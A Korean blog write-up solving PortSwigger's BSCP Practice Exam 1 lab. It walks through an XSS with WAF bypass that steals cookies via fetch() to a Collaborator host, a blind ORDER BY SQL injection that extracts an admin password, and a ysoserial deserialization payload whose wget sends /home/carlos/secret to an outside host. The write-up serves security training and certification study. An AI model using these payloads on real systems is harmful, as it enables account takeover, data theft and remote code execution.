포스트

BSCP Practice Exam 1 풀이 (PortSwigger Academy)

PortSwigger BSCP Practice Exam 1을 단계별로 분석하고 공격 흐름을 정리

BSCP Practice Exam 1 풀이 (PortSwigger Academy)

BSCP Practice Exam #1

BSCP 시험준비를 위한 Practice Exam #1 Writeup을 작성해봤다. 연습 시험은 하나의 타겟 애플리케이션으로 구성되어 있으며, 총 세 단계로 나뉘어 있고 제한 시간은 2시간이다.

실제 시험에서는 두 개의 애플리케이션을 대상으로 총 여섯 개의 취약점을 이용해야 하며, 제한 시간은 4시간으로 구성되어 있다.

1단계에서는 초기 사용자 계정 접근(Initial Access),
2단계에서는 관리자 권한 상승(Privilege Escalation),
3단계에서는 최종적으로 /home/carlos/secret 파일을 읽어오는 Remote Code Execution(RCE)을 수행해야 한다.

물론 이 연습문제도 첫 번째 도전에 두시간 내에 풀지 못했다. 첫 번째 시도에서는 1단계, 두 번째 시도에서는 2단계까지 진행했고, 세 번째 도전에서야 3단계까지 완료할 수 있었다.
두시간 주어진 문제에 풀이에만 6시간정도를 사용했지만, 이번 계기로 더 많은 걸 배울수 있게 돼서 유익했다.

완벽한 풀이는 아니지만 내가 시도해본 방법으로 writeup 시작해보도록 하겠다.


Stage 1: 사용자 계정 접근

설명

애플리케이션에 접속하면 가장 먼저 Search Bar가 눈에 들어온다.
XSS 취약점이 있는지 확인하기 위해 간단한 "><script>alert(1)</script> 코드를 넣어준다.

설명

입력값이 URL에 그대로 반영되는 것을 확인할 수 있었고, 이를 통해 client-side에서 처리되는 가능성을 의심할 수 있었다. 좀더 확실한 취약점 스캔을 위해 Burp Suite의 Select Scan기능을 이용해 스캔을 해줬다.

설명

스캐닝을 전체적으로 뿌릴수 없기 때문에 선택적으로 의심이 가는 위치에 적절하게 배분해서 사용해주는게 좋다.

설명

스캐닝 결과, DOM-based JavaScript Injection (XSS)에 취약하다는걸 찾아볼 수 있었다.

아래는 "><script>alert(1)</script> 코드 입력후 output 결과다

설명

입력값이 그대로 searchTerm에 들어가는걸 확인할 수 있다. 여기서 사용할 수 있는 payload는 \"-alert(1)}//가 있을수 있겠다.

위 페이로드를 삽입하게 되면

1
{"results":[],"searchTerm":"\"-alert(1)} //"};

와 같이 파싱처리가 된다.

여기서 quote escape를 통해 searchTerm을 닫아주며, - 마이너스 연산자를 이용해 표현식을 평가하는 과정에서 alert(1)이 실행된다. 그리고 마지막으로 }현재 열려있는 JSON 객체를 강제로 닫아주며, //로 뒤에 남아있을 나머지 코드를 주석처리 해주게 된다.

설명
설명

성공적으로 alert(1)이 성공한 모습

이제 이 취약점을 이용해서 다른 사용자의 계정을 탈취해야한다. 원래라면 Stored XSS로 방문자의 session cookie를 탈취하여 서버로 전달 하는 방법이 있겠지만 단순히 Reflected XSS이기 때문에 다른 곳을 우회하여 공격을 해야한다.

BSCP에서는 Exploit Server와 Burp Collaborator 두 가지가 주어지는데, 이 두가지를 사용하면 XSS를 통해 피해자의 브라우저에서 임의 요청을 발생시킬 수 있기 때문에, 결과적으로 CSRF와 유사한 공격 흐름을 구성할 수 있다.

먼저 Exploit Server에 악성 스크립트를 올려두고, 다른 사용자가 이 Exploit Server에 접속하게 되면 스크립트가 실행되면서 해당 취약한 애플리케이션에 document.cookie를 공격자의 Exploit server 혹은 Burp Collaborator에 fetch하게 만들 수 있다.

그전에 session cookie를 탈취할 수 있는지 공격자의 브라우저에서 먼저 실행 해봐야한다.

1
\\"-fetch`("//me41j9nel9z3wowkiq6zv1te85ew2mqb.oastify.com/?cookie="+document.cookie)`} //

여기서 me41j9nel9z3wowkiq6zv1te85ew2mqb.oastify.com는 Burp Collaborator의 주소이다, 즉 공격자의 주소인 셈이다. 원래대로라면, 공격자의 서버에 현재 애플리케이션의 session cookie를 전달해야한다.

설명

전송 결과

하지만 결과는 “Potentially dangerous search term”을 반환한다. 즉, WAF에서 필터링을 하고있다는걸 알 수 있다. 이후에 몇 가지 실험을 통해 어떤 경우에 필터링이 작동하는지 확인해봤고, .문자가 포함되면 요청이 막힌다는걸 알아냈다.

.을 URL Encoding을 진행해서 아래와 같이 바꿔주었다.

1
\\"-fetch("//me41j9nel9z3wowkiq6zv1te85ew2mqb%2eoastify%2ecom/?cookie="+document%2ecookie)} //

하지만 위 경우에는 요청은 전송됐지만 공격자 서버로 session cookie가 전송되지 않았다.
이는 document%2ecookie로 변환되는 과정에서 정상적인 document.cookie로 해석되지 않았기 때문으로 보인다.

따라서 위 payload를 아래와 같이 바꿔줬다.

1
\\"-fetch("//me41j9nel9z3wowkiq6zv1te85ew2mqb%2eoastify%2ecom/?cookie="+document['cookie'])} //

document%2ecookie대신에 document['cookie']를 사용하게 되면 .을 우회할 수 있기 때문이다.

설명

실행 결과, 성공적으로 공격자의 서버에 세션쿠키가 전달 된 것을 확인할 수 있었다.

이제 session cookie 탈취가 가능하다는것을 확인 했으니 실제 공격자 서버에서 악성스크립트를 삽입해 피해자가 방문하기를 기다린 다음에 피해자가 이미 인증되어있는 상태를 악용해 CSRF를 통한 Session Cookie탈취를 해볼 예정이다.

1
2
3
4
5
6
<form id="xss" action="https://0af5007d04019674844223a000e800bf.web-security-academy.net/" method="GET">
    <input type="hidden" name="SearchTerm" value='\\"-fetch("//me41j9nel9z3wowkiq6zv1te85ew2mqb%2eoastify%2ecom/?c="+document["cookie"])}//'>
</form>
<script>
    document.getElementById('xss').submit();
</script>

위 payload를 만드는데에는 꽤나 오랜시간이 걸렸던 것 같다. 찾아보니 eval(atob())를 이용해 내부 코드를 Base64처리해서 실행한 사람들도 있는것 같다.

해당 방법이 익숙하지 않은 탓에 다방면으로 찾아본 결과, 위와 같은 payload를 만들 수 있었다.

우선 Hidden Form을 생성함으로써 공격 페이로드에 추가해주고 타겟으로 하는 URL에 GET 요청을 포함, 그리고 해당 form을 submit()함수를 이용해 제출, 결과적으로 공격자 서버를 방문한 피해자의 세션을 탈취할 수 있었다.

설명

session=wMWm4S20Bp89FqOorGDM3MVaVcbyqT4t

해당 세션 쿠키로 교체해주고나면, 성공적으로 carlos유저로 로그인 된것을 확인할 수 있다.

설명

Stage 2: Admin 계정 탈취

설명

Advanced Search 탭에서는 검색 기능과 함께 정렬 옵션을 제공하는 것을 확인할 수 있다.

검색어: Search
Sort by: Author
로 설정한 결과, 아래와 같은 요청이 전송된다:

설명

취약점 여부를 확인하기 위해 각 파라미터를 Burp Scanner로 테스트한 결과,
organize_by 파라미터에서 SQL Injection 취약점을 확인할 수 있었다.

설명

간단한 테스트로 ' OR 1=1-- 를 삽입하여 응답을 비교해보았다.

설명

에러 메시지에서 "SELECT * FROM posts ORDER BY" 구문이 포함된 것을 확인할 수 있다.

설명

이를 통해 해당 파라미터가 ORDER BY 절에 직접 삽입되고 있다는 점을 알 수 있다.
ORDER BY 절에서는 일반적인 UNION 이나 OR기반 인젝션이 문법상 제한되기 때문에 조건 분기를 활용한 Boolean 기반 접근 방식이 필요했으며, 나는 CASE WHEN구문을 사용해서 진행 했다.

설명

Sort by의 다른 옵션들

CASE문을 사용해 TRUE값이면 AUTHOR순으로 정렬, 아니면 DATE순으로 정렬하는 구문을 전송

1
GET /advanced_search?SearchTerm=&organize_by=(CASE WHEN (1=1) THEN AUTHOR ELSE DATE END) &blogArtist=
설명

AUTHOR와 DATE의 컬럼 간 타입이 맞지 않아 에러가 발생한다. (CASE문은 모든 반환값의 타입이 동일 해야하기 때문)
따라서 동일한 문자열 타입인 TITLE과 비교 하도록 요청을 수정했다.

1
GET /advanced_search?SearchTerm=&organize_by=(CASE WHEN (1=1) THEN AUTHOR ELSE TITLE END) &blogArtist=
설명

정상 응답을 반환하며, 구문에 따라 참일 경우 Sort By AUTHOR, 거짓일 경우엔 TITLE로 컨디션을 설정해준다.

설명

참인 경우, The Peopleless Circus라는 제목이 최상단에 위치

설명

거짓인 경우, Black market Dealings가 최상단에 위치

조건에 따라 결과가 달라지는 것을 확인했으므로, 이를 이용해 Blind SQL Injection을 진행할 수 있다.

1
GET /advanced_search?SearchTerm=&organize_by=(CASE WHEN (SUBSTR((SELECT password FROM USERS WHERE username='administrator'),1,1)='a') THEN AUTHOR ELSE TITLE END) &blogArtist=

유저 이름이 administrator인 유저의 비밀번호 가장 첫 글자가 a일 경우에 AUTHOR, 아닌 경우에 TITLE로 정렬 하는 구문이다.

위 페이로드에서 자리 번호와 비교 character를 브루트포싱 해서 비밀번호를 알아 낼 수 있다.

Burp Intruder를 이용해서 administrator계정의 비밀번호를 찾아내보자.
SUBSTR()의 위치 (index)와 비교 문자 (a-z, A-Z, 0-9)을 반복적으로 변경하면서 비밀번호를 추측 할 수 있다.

설명

Burp Intruder를 이용한 Payload

결과 필터링은 정렬 결과의 최상단 값을 기준으로 진행 하였다.
예를 들어, The Peopleless Circus가 최상단에 위치하면 조건이 참 인것으로 판단.

설명
설명

공격 결과, 비밀번호는 16자리이며 b235d711d5858825임을 확인,

설명

성공적으로 관리자 계정을 탈취할 수 있었다.


Stage 3: 서버 파일 읽기 (RCE)

Admin 계정을 취득한 다음에 Admin Panel에 접속 해보면, 계정 삭제하는 기능과 게시글에 대한 자료들을 종합한것을 확인할 수 있다.

설명

우리의 목표는 /home/carlos/secret 파일을 읽는것이다. Admin Panel에 접속한 기록에 대한 요청을 확인해본 결과, Cookie값이 길게 설정되어있는것을 확인할 수 있었다.

설명
1
Cookie: admin-prefs=H4sIAAAAAAAA%2fzWPPU7DQBCFF0RSQcMJpkOi2PTQEH4iCkcKClJEOV6Pk8HrHbO7dmKQOA4VJ%2bAI3IU7sBahm%2fn09PS9zx81Cl6dW8w1msjigjZS1%2bJ0IM9o%2bRVzS3pa1OwWnsrw9vUxDqvv7FAdZeq4xE48R5qJFFGdZs%2fY4cSiW0%2bW0bNbX2bq5D%2fz0EqkF%2fWuDvawHei1SLWHo7ih%2bi%2bxa6Iab5kc%2baiu5j04rAk4wA16KwHm4qL0qOFJWqjYWiqg7qHEVOE1JNMGPUEUKJh0VIvHDcGKcpg2jWWDw1K4R1ORPwvpcEWePC7gloORjgZ1SBDudo0VjsO7JDMI9zCzuA1JT3zaSb9PDWuHQgEAAA%3d%3d

해당 쿠키값을 변조할 수 있는지 여부를 확인하기 위해 디코딩 해보았다.

설명

URL Decoding → Base64 Decoding한 결과, HEX값이 1f 8b 08 00으로 시작되는것을 확인할 수 있다.

설명

해당 HEX값은 Gzip compression 헤더에서 나오는 특징으로 Base64 디코딩으로 나온 결과값은 어떠한 포맷에서 Gzip compression을 거쳐 만들어 졌다는것을 알 수 있다.

URL Decoding → Base64 Decoding을 진행한 결과, HEX 값이 1f 8b 08 00으로 시작하는 것을 확인하였다.
이는 Gzip의 매직 바이트로, 해당 데이터가 Gzip으로 압축된 바이너리임을 의미한다.

압축을 해제한 결과 사람이 읽을 수 없는 구조화된 데이터가 확인되었으며, 단순 문자열이 아닌 직렬화된 객체일 가능성이 높다고 판단하였다.

이와 같이 클라이언트 측 쿠키에 직렬화된 객체를 저장하고, 서버에서 이를 역직렬화하는 구조는 Insecure Deserialization 취약점으로 이어질 수 있다.

역직렬화를 통해 공격이 가능한지 Burp의 Deserialization Scanner를 이용해 취약점 스캔을 돌렸다.

설명

Serialization 순서대로 설정 (Gzip Compression, Base64 Encoding, URL Encoding)

설명

Deserialization Sleep 스캐너 결과

설명
설명

DNS 스캐너 결과

초기에는 Time-based payload(Sleep)를 사용했지만, 응답 시간 차이가 명확하게 나타나지 않아 취약 여부를 판단하기 어려웠다.

따라서 보다 확실한 검증을 위해 외부 DNS 요청을 유도하는 방식으로 변경하였고, 그 결과 Apache Commons Collections 3 환경에서 취약할 수 있다는 결과를 도출했다.

ysoserial을 이용해서 payload를 만들어 테스트 해보자.

Ysoserial github 링크: https://github.com/frohoff/ysoserial

설명

우리의 목표인 Apache Commons collections3 을 타겟으로 한 페이로드를 선택해서 Ysoserial을 돌려준다.

1
java -jar ysoserial-all.jar CommonsCollections7 "wget http://an1psxw2ux8r5c58refn4p22htnkbbz0.oastify.com --post-file=/home/carlos/secret" > payload.bin

Apache Commons Collections 3 환경에서 사용 가능한 Payload 중
Code Execution까지 이어지는 CommonsCollections7을 선택하여 payload를 생성해줬다.

위 Payload는 역직렬화 (deserialization)과정에서 Command Execution을 유도하며,
wget을 이용해 /home/carlos/secret파일을 Burp Collaborator 서버로 전송하도록 구성했다.

이후에 직렬화를 위해 Gzip Compression, Base64 Encoding, 그리고 URL Encoding을 진행 한다.

여기에 유용한 사이트로는 CyberChef를 사용할 수 있다.

설명

서버는 URL Decode → Base64 Decode → Gzip Decompress → Deserialize
순서로 데이터를 처리하므로, Payload는 역순으로 생성해줘야 정상적으로 Session 토큰을 획득할 수 있다.

설명

직렬화로 얻은 토큰을 admin-prefs 쿠키값으로 바꿔주고 전송 해준다.

설명

설정한 payload에 따라, 서버는 wget을 통해 /home/carlos/secret파일을 Burp Collaborator로 전송했으며,
해당 요청을 통해 플래그 값 solution-ak2SAWpN33p4aSjlZPci5tBgvdV84p3B를 획득할 수 있었다.


정리

BSCP Practice Exam 1을 통해 단순히 취약점을 찾고 Exploit하는 것과는 별개로,
실제로 두 가지 이상의 취약점을 가지고 체이닝을 한다는 점에서 다른 실습들보다는 어려웠다. 동시에 각 단계에서 어떤 방식으로 접근해야 하는지에 대해 많은 것을 배울 수 있었던 문제였다.

1단계 에서는 DOM-based XSS를 발견하는 것 자체는 어렵지 않았지만,
Reflected XSS 환경에서 실제 공격으로 이어가기 위해 공격자 서버와 Burp Collaborator 서버를 활용해 흐름을 구성하는 과정이 가장 까다로웠다.
특히 WAF 필터링을 우회하는 과정에서 다양한 표현 방식을 시도해 보는 것이 중요하다는 것을 느꼈다.

2단계는 개인적으로 이번 풀이에서 가장 많은 시간을 할애했던 구간이었다.
ORDER BY 절에서 발생하는 SQL Injection을 처음 다뤄보면서, 일반적인 UNION 기반 공격이 아닌 CASE WHEN문을 이용한 Boolean 기반 접근이 필요하다는 점을 배울 수 있었다. 이를 통해 SQL Injection도 상황에 따라 접근 방식이 완전히 달라질 수 있다는 것을 체감했다.

3단계는 쿠키 값을 분석하는 과정에서 Gzip 매직 바이트를 기반으로 데이터 구조를 추론하고, 역직렬화 (Deserialization) 가능성을 판단하는 흐름이 다행히 크게 어렵지는 않았다. 다만, Burp에서 제공하는 Scanner가 없었고, 해당 서버가 Apache Commons Collection에 취약하다는 점을 찾지 못했더라면 상당히 오랜 시간이 걸렸을 것으로 생각된다.

Ysoserial을 활용해 실제 RCE payload를 구성하고, 직렬화/압축/인코딩 과정을 역순으로 맞춰야 한다는 이론을 실제로 적용해 볼 수 있었던 좋은 경험이었다.

전체적으로 이번 Practice Exam을 통해 느낀 점은, 단순히 취약점을 찾는 것보다, 어떻게 공격을 연계할 것이며, 어떤 방식으로 흐름을 이어갈 것인가 라는 점이었다. 단순히 기법을 아는 것과, 그 기법들을 연결해서 실제 공격 체인을 구성하는 것은 전혀 다른 문제였고, 이번 문제를 통해 그 차이를 확실하게 체감할 수 있었다.

아직도 여러 단계에서 막히는 부분이 많았지만, 그만큼 어떤 부분이 부족한지 명확하게 알 수 있었던 점에서 매우 의미 있고도 재미있는 연습이었다고 생각한다.

이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.